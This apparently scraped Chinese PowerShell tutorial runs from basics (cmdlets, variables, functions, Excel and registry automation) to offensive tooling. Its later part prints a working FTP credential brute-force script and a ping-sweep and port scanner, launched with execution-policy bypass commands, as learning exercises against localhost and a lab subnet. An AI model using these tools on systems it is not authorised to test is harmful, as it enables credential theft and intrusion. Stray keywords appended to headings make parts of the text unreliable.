cmdlets
cmdlets
是Powershell的內部命令,cmdlet
的類型名爲System.Management.Automation.CmdletInfo
,在網上我找到了其中文說明,再用到的時候能夠查找cmdlet
的名稱由一個動詞和一個名詞組成,功能一目瞭然,但長度卻過長。這時咱們就須要用到「別名」了!Powershell內部也實現了不少經常使用命令的別名。例如Get-ChildItem
,列出當前的子文件或目錄。它有兩個別名:ls
和dir
,這兩個別名來源於unix的shell和windows的cmd。Get-Alias -name 別名
查詢別名所指的真實cmdlet命令ls alias:
或Get-Alias
ls alias: | Group-Object definition | sort -Descending Count
&
開頭的,剩餘字符能夠是數字、字母、下劃線的任意字符,且不區分大小寫。=
,其幾乎能夠把任何數據賦值給一個變量[變量類型]$變量名
$array = 1,2,3,4
$array = 1..4
$array=1,"2017",([System.Guid]::NewGuid()),(get-date)
$a=@() # 空數組
$a=,"1" # 一個元素的數組
$array[0]
$test -is [array]
$books += "元素4"
[int[]] $nums=@()
$stu=@{ Name = "小明";Age="12";sex="man" }
$stu["Name"]
訪問對應Name
的值$stu=@{ Name = "小明";Age="12";sex="男";Books="三國演義","圍城","哈姆雷特" }
哈希表的插入與刪除:html
$Student=@{} $Student.Name="hahaha" $stu.Remove("Name")
-eq
:等於-ne
:不等於-gt
:大於-ge
:大於等於-lt
:小於-le
:小於等於-contains
:包含-notcontains
:不包含-and
:和-or
:或-xor
:異或-not
:逆if-else
語句shell
if(條件知足){ 若是條件知足就執行代碼 } else { 若是條件不知足 }
循環語句whilesegmentfault
while($n -gt 0){ code }
函數的結構由三部分組成:函數名,參數,函數體windows
Function FuncName (args[]) { code; }
del Function:函數名
萬能參數:給一個函數定義參數最簡單的是使用$args
這個內置的參數。它能夠識別任意個參數。尤爲適用哪些參數無關緊要的函數。$args
是一個數組類型。數組
function sayHello { if($args.Count -eq 0) { "No argument!" } else { $args | foreach {"Hello,$($_)"} } }
sayHello
sayHello LiLi
sayHello LiLi Lucy Tom
設置參數名稱並定義默認值緩存
function StringContact($str1="moss",$str2="fly") { return $str1+$str2 }
Return
語句
return
語句指定具體的我返回值。Return
語句會將指定的值返回,同時也會中斷函數的執行,return
後面的語句會被忽略。Try{ $connection.open() $success = $true }Catch{ $success = $false }
Function:PSDrive
虛擬驅動器查看Clear-Host
:清除屏幕的緩存help,man
:查看命令的幫助文檔mkdir,md
:經過new-Item
建立子目錄more
:分屏輸出管道結果prompt
:返回提示文本TabExpansion
:Tab鍵的自動完成提示X
:調用Set-Location
定位到指定的驅動器根目錄.ps1
後綴便可。.\路徑\文件名
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
ls
獲取當前目錄的全部文件信息,而後經過Sort -Descending
對文件信息按照Name
降序排列,最後將排序好的文件的Name
和Mode
格式化成Table
輸出>
爲覆蓋,>>
爲追加。$excel.Visible=$true
$workbook = $excel.Workbooks.Open("XXX.xlsx")
$workbook = $excel.Workbooks.Add()
$worksheet = $workbook.Worksheets.Item(1)
$workbook.SaveAs("D:\Desktop\hello.xlsx")
打印九九乘法表安全
$excel = New-Object -ComObject Excel.Application $workbook = $excel.Workbooks.Open("C:\Users\zyx\Desktop\1.xlsx") $worksheet = $workbook.Worksheets.Item(1) for ($i = 1; $i -le 9; $i++) { # 第一行 $worksheet.Cells.item(1, $i + 1) = $i # 第一列 $worksheet.Cells.item($i + 1, 1) = $i # 它們的乘積 for ($j = 1; $j -le 9; $j++) { $worksheet.Cells.item($i + 1, $j + 1) = $i * $j } }
讀取一個Excel表格中的數據服務器
$excel = New-Object -ComObject Excel.Application $workbook = $excel.Workbooks.Open("C:\Users\zyx\Desktop\1.xlsx") $worksheet = $workbook.Worksheets.Item(1) for ($i = 1; $i -le 10; $i++) { for ($j = 1; $j -le 10; $j++) { Write-Host -NoNewline $worksheet.Cells.item($i, $j).Text "`t" } Write-Host }
裏面的`t是PowerShell中的製表符,每一個數據之間使用製表符來分隔;write-host爲寫到控制檯,-NoNewline表示顯示在控制檯的信息不以換行結尾。
網絡
Set-Location
:別名cd
,切換工做目錄。Get-Location
:別名pwd
,獲取當前工做目錄。Get-ChildItem
:獲取當前目錄下的全部文件。Get-Item
:獲取給定文件的信息。Get-Command -Noun item
:查看全部文件操做的命令。Get-Item .\名稱.lnk
(由於基本爲快捷方式因此須要lnk後綴)Set-Location 'HKCU:\Control Panel\Desktop\MuiCached'
Get-Item .
Get-ItemProperty . MachinePreferredUILanguages
$path = "HKCU:\Control Panel\Desktop"
New-Item –Path $path –Name HelloKey
Set-ItemProperty -path $path\hellokey -name Fake -Value fuck
Remove-ItemProperty -path $path\hellokey -name Fake
Remove-Item -path $path\hellokey -Recurse
Get-WmiObject win32_logicaldisk | ?{$_.DeviceID -like "C:"}
Get-WmiObject -computername localhost -class win32_logicaldisk | ?{$_.DeviceID -like "C:"}
如今將其寫入一個腳本,咱們可使用ctrl+J
看到腳本大概的格式並運用,內容以下:框架
<# .Synopsis This is for diskinfo .DESCRIPTION This is for remote computer .EXAMPLE diskinfo -computername remote #> function Get-diskinfo { [CmdletBinding()] Param ( # Param 幫助描述 [Parameter(Mandatory=$true)] [string[]]$ComputerName, $bogus ) Get-WmiObject -computername $ComputerName -class win32_logicaldisk | ?{$_.DeviceID -like "C:"} }
.\Diskinfo.ps1
,經過Get-help Diskinfo -full
查看使用解釋等等. .\Diskinfo.ps1
get-diskinfo -ComputerName localhost
ftp://IP地址
會提示輸入用戶名和密碼修改腳本,內容以下:
function Invoke-BruteForce { [CmdletBinding()] Param( [Parameter(Mandatory = $true, Position = 0, ValueFromPipeline=$true)] [Alias("PSComputerName","CN","MachineName","IP","IPAddress","Identity","Url","Ftp","Domain","DistinguishedName")] [String] $ComputerName, [Parameter(Position = 1, Mandatory = $true, ValueFromPipeline=$true)] [Alias('Users')] [String] $UserList, [Parameter(Position = 2, Mandatory = $true)] [Alias('Passwords')] [String] $PasswordList, [Parameter(Position = 3, Mandatory = $true)] [ValidateSet("SQL","FTP","ActiveDirectory","LocalAccounts","Web")] [String] $Service = "FTP", [Parameter(Position = 4, Mandatory = $false)] [Switch] $StopOnSuccess, [Parameter(Position = 6, Mandatory = $false)] [UInt32] $Delay = 0 ) Process { # Write-Verbose用於打印詳細信息 Write-Verbose "Starting Brute-Force and Delay is $Delay." # 獲取用戶名與密碼字典 $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList if (!$usernames) { $usernames = $UserList Write-Verbose "UserList file does not exist." Write-Verbose $usernames } if (!$passwords) { $passwords = $PasswordList Write-Verbose "PasswordList file does not exist." Write-Verbose $passwords } # Brute Force FTP if ($service -eq "FTP") { # 機器名的處理:若ftp://開始直接獲取名字,若沒有直接加上 if($ComputerName -notMatch "^ftp://") { $source = "ftp://" + $ComputerName } else { $source = $ComputerName } Write-Output "Brute Forcing FTP on $ComputerName" :UsernameLoop foreach ($username in $usernames) { foreach ($Password in $Passwords) { try { # 調用.net中的FTP庫進行鏈接 $ftpRequest = [System.Net.FtpWebRequest]::Create($source) $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails # 經過Verbose輸出的信息 Write-Verbose "Trying $userName : $password" # 進行認證鏈接 $ftpRequest.Credentials = new-object System.Net.NetworkCredential($userName, $password) # 獲取返回信息 $result = $ftpRequest.GetResponse() $message = $result.BannerMessage + $result.WelcomeMessage # 打印信息到控制檯 Write-Output "Match $username : $Password" $success = $true # 判斷是否要獲得結果馬上退出 if ($StopOnSuccess) { break UsernameLoop } } catch { $message = $error[0].ToString() $success = $false } # 延時爆破 Start-Sleep -Seconds $Delay } } } } }
閱讀相關手冊對一些參數進行解讀
屬性名 | 可選參數值 | 屬性說明 |
---|---|---|
CmdletBinding類 | 定義PowerShell的行爲 | |
Parameter類 | 定義的參數爲靜態參數 | |
Mandatory | $True, $False | 指定參數是不是必要參數,強制用戶輸入 |
Position | 整數 | 指定參數位置,若是用戶沒有指定具體參數名稱,那麼PowerShell將根據該值按序填充相應的參數 |
ValueFromPipeline | $True, $False | 是否接受來自管道中的值 |
Alias | 字符串 | 指定參數的另外一個名稱 |
ValidateSet | 集合 | 檢驗參數值是否在指定的屬性集合中 |
ErrorAction | 抑制內置的錯誤消息,將ErrorAction設置爲「SilentlyContinue」,錯誤信息就不會輸出了 |
. .\ps.ps1
Invoke-BruteForce -ComputerName localhost地址 -UserList C:\Users\zyx\Desktop\username.txt -PasswordList C:\Users\zyx\Desktop\pass.txt -Service ftp
powershell –exec bypass –Command "& {Import-Module 'C:\Users\zyx\Desktop\ps.ps1';Invoke-BruteForce -ComputerName localhost地址 -UserList C:\Users\zyx\Desktop\username.txt -PasswordList C:\Users\zyx\Desktop\pass.txt -Service ftp }"
結果
CmdletBinding
的方法,來設置參數的形式端口掃描調用.NET的Socket來進行端口鏈接,若是鏈接創建表明端口鏈接成功
function PortScan { [CmdletBinding()] Param( [parameter(Mandatory = $true, Position = 0)] [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")] [string] $StartAddress, [parameter(Mandatory = $true, Position = 1)] [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")] [string] $EndAddress, [switch] $GetHost, [switch] $ScanPort, [int[]] $Ports = @(21,22,23,25,53,80,110,139,143,389,443,445,465,873,993,995,1080,1086,1723,1433,1521,2375,3128,3306,3389,3690,5432,5800,5900,6379,7001,7002,7778,8000,8001,8080,8081,8089,8161,8888,9000,9001,9060,9200,9300,9080,9090,9999,10051,11211,27017,28017,50030), [int] $TimeOut = 100 ) Begin { # 開始以前先調用Ping組件 $ping = New-Object System.Net.Networkinformation.Ping } Process { # 四層循環獲取解析IP地址 foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) { foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) { foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) { foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) { # write-progress用於在shell界面顯示一個進度條 write-progress -activity PingSweep -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) # 經過Ping命令發送ICMP包探測主機是否存活 $pingStatus = $ping.Send("$a.$b.$c.$d",$TimeOut) if($pingStatus.Status -eq "Success") { if($GetHost) { # 本分支主要解決主機名的問題 # write-progress用於在shell界面顯示一個進度條 write-progress -activity GetHost -status "$a.$b.$c.$d" -percentcomplete (($d/($EndAddress.Split(".")[3])) * 100) -Id 1 # 獲取主機名 $getHostEntry = [Net.DNS]::BeginGetHostEntry($pingStatus.Address, $null, $null) } if($ScanPort) { # 定義一個開放的端口數組, 存儲開放的端口 $openPorts = @() for($i = 1; $i -le $ports.Count;$i++) { $port = $Ports[($i-1)] # write-progress用於在shell界面顯示一個進度條 write-progress -activity PortScan -status "$a.$b.$c.$d" -percentcomplete (($i/($Ports.Count)) * 100) -Id 2 # 定義一個Tcp的客戶端 $client = New-Object System.Net.Sockets.TcpClient # 開始鏈接 $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null) if($client.Connected) { # 加入開放的端口 $openPorts += $port } else { # 等待, 這裏用於網絡延遲, 防止由於網絡緣由而沒有判斷到端口的開放而錯失不少機會 Start-Sleep -Milli $TimeOut if($client.Connected) { $openPorts += $port } } $client.Close() } } if($GetHost) { # 獲取主機名 $hostName = ([Net.DNS]::EndGetHostEntry([IAsyncResult]$getHostEntry)).HostName } # 返回對象-哈希表 New-Object PSObject -Property @{ IPAddress = "$a.$b.$c.$d"; HostName = $hostName; Ports = $openPorts } | Select-Object IPAddress, HostName, Ports } } } } } } }
. .\PortSan.ps1
PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort
powershell –exec bypass –Command "& {Import-Module 'C:\Users\zyx\Desktop\PortScan.ps1';PortScan -StartAddress 192.168.38.1 -EndAddress 192.168.38.254 -GetHost -ScanPort }"
掃描結果
參考資料